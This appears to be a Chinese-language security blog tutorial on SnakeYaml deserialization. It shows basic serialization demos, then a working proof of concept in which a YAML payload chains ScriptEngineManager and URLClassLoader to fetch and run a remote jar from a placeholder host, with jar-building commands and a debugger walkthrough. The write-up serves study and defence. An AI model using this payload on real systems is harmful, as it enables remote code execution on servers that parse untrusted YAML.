0%

SnakeYaml反序列化

SnakeYaml反序列化

什么是SnakeYaml?

snakeyaml包主要用来解析yaml格式的内容,yaml语言比普通的xml与properties等配置文件的可读性更高,像是Spring系列就支持yaml的配置文件,而SnakeYaml是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。

语法参考:https://www.yiibai.com/yaml

SnakeYaml序列化与反序列化

依赖如下:

1
2
3
4
5
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>

常用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
String	dump(Object data)
将Java对象序列化为YAML字符串。
void dump(Object data, Writer output)
将Java对象序列化为YAML流。
String dumpAll(Iterator<? extends Object> data)
将一系列Java对象序列化为YAML字符串。
void dumpAll(Iterator<? extends Object> data, Writer output)
将一系列Java对象序列化为YAML流。
String dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle)
将Java对象序列化为YAML字符串。
String dumpAsMap(Object data)
将Java对象序列化为YAML字符串。
<T> T load(InputStream io)
解析流中唯一的YAML文档,并生成相应的Java对象。
<T> T load(Reader io)
解析流中唯一的YAML文档,并生成相应的Java对象。
<T> T load(String yaml)
解析字符串中唯一的YAML文档,并生成相应的Java对象。
Iterable<Object> loadAll(InputStream yaml)
解析流中的所有YAML文档,并生成相应的Java对象。
Iterable<Object> loadAll(Reader yaml)
解析字符串中的所有YAML文档,并生成相应的Java对象。
Iterable<Object> loadAll(String yaml)
解析字符串中的所有YAML文档,并生成相应的Java对象。

主要关注序列化与反序列化
SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。

  • Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个Java对象;
  • Yaml.dump():将一个对象转化为yaml文件形式;

序列化

User类

1
2
3
4
5
6
7
8
9
10
11
public class User {
public String name;

public void setName(String name) {
this.name = name;
}

public String getName() {
return name;
}
}

测试类

1
2
3
4
5
6
7
8
9
10
11
import org.yaml.snakeyaml.Yaml;

public class SnakeYamlDemo {
public static void main(String[] args) {
User user = new User();
user.setName("ycxlo");
Yaml yaml = new Yaml();
String dump = yaml.dump(user);//序列化类对象为一个字符串
System.out.println(dump);
}
}

输出结果:

img

这里的!!类似于fastjson中的@type用于指定反序列化的全类名

反序列化

再来一段User代码,主要是在各个方法中都添加了print,来看一下反序列化时会触发这个类的哪些方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class User2 {

String name;
int age;

public User2() {
System.out.println("User构造函数");
}

public String getName() {
System.out.println("User.getName");
return name;
}

public void setName(String name) {
System.out.println("User.setName");
this.name = name;
}

public int getAge() {
System.out.println("User.getAge");
return age;
}

public void setAge(int age) {
System.out.println("User.setAge");
this.age = age;
}

}

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import org.yaml.snakeyaml.Yaml;

public class SnakeYamlDemo {
public static void main(String[] args) {
User2 user = new User2();
user.setName("ycxlo");
user.setAge(18);
Yaml yaml = new Yaml();
String dump = yaml.dump(user);
System.out.println(dump);
String s = "!!User2 {age: 18, name: ycxlo}";
yaml.load(s);
}
}

运行结果:

img

可以看到,在序列化时触发了getter方法,在反序列化时触发了setter方法和构造方法

SnakeYaml反序列化漏洞

影响版本

全版本

漏洞原理

yaml反序列化时可以通过!!+全类名指定反序列化的类,反序列化过程中会实例化该类,可以通过构造ScriptEngineManagerpayload并利用SPI机制通过URLClassLoader或者其他payload如JNDI方式远程加载实例化恶意类从而实现任意代码执行。

漏洞复现

网上最多的一个PoC就是基于javax.script.ScriptEngineManager的利用链通过URLClassLoader实现的代码执行。github上已经有现成的利用项目,可以更改好项目代码部署在web上即可。所以说SnakeYaml通常的一个利用条件是需要出网的
比如加一段弹计算器的代码Runtime.getRuntime().exec("calc");

img

然后在该目录下将其打包成jar包,并启动http服务

1
2
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

由于我本机不知道怎么回事,poc访问不了,所以这里使用vps启动的http服务

修改poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import org.yaml.snakeyaml.Yaml;
import javax.script.ScriptEngineManager;

public class SnakeYamlDemo {
public static void main(String[] args) {
String context = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://your_ip:9999/yaml-payload.jar\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml();
yaml.load(context);
}
}

img

调试分析

SPI会通过java.util.ServiceLoder进行动态加载实现,而在刚刚的exp的代码里面实现了ScriptEngineFactory并在META-INF/services/ 里面添加了实现类的类名,而该类在静态代码块处是我们的执行命令的代码,而在调用的时候,SPI机制通过Class.forName反射加载并且newInstance()反射创建对象的时候,静态代码块进行执行,从而达到命令执行的目的。

首先在漏洞点处下个断点

img

img

讲我们传入的字符串以字节流形式读入,并调用loadFromReader方法,跟进

img

创建解析器,并调用了constructor.getSingleData方法

img

节点赋值,将我们传入的字符串进行yaml语法解析,继续调用constructDocument方法,跟进

img

调用了constructObject方法

img

constructedObjects此时为空,肯定不满足if条件,跟进constructObjectNoCheck方法

img

将node的键值添加进recursiveObjects,并调用了constructor.construct方法,跟进

img

然后将node作为constructArray方法的参数传入,继续调用constructArrayStep2方法

img

child就是node中一个具体的类,这里是URL,调用constructObject方法

img

再次调用constructObjectNoCheck方法

img

继续调用另一个静态类的construct方法

img

继续调用getConstructor(node).construct(node)

img

前面部分是一些解析,最后将c变为了URL类,argumentList变为对应的值,进行实例化,产生漏洞,而后就是SPI机制解析其jar文件,造成命令执行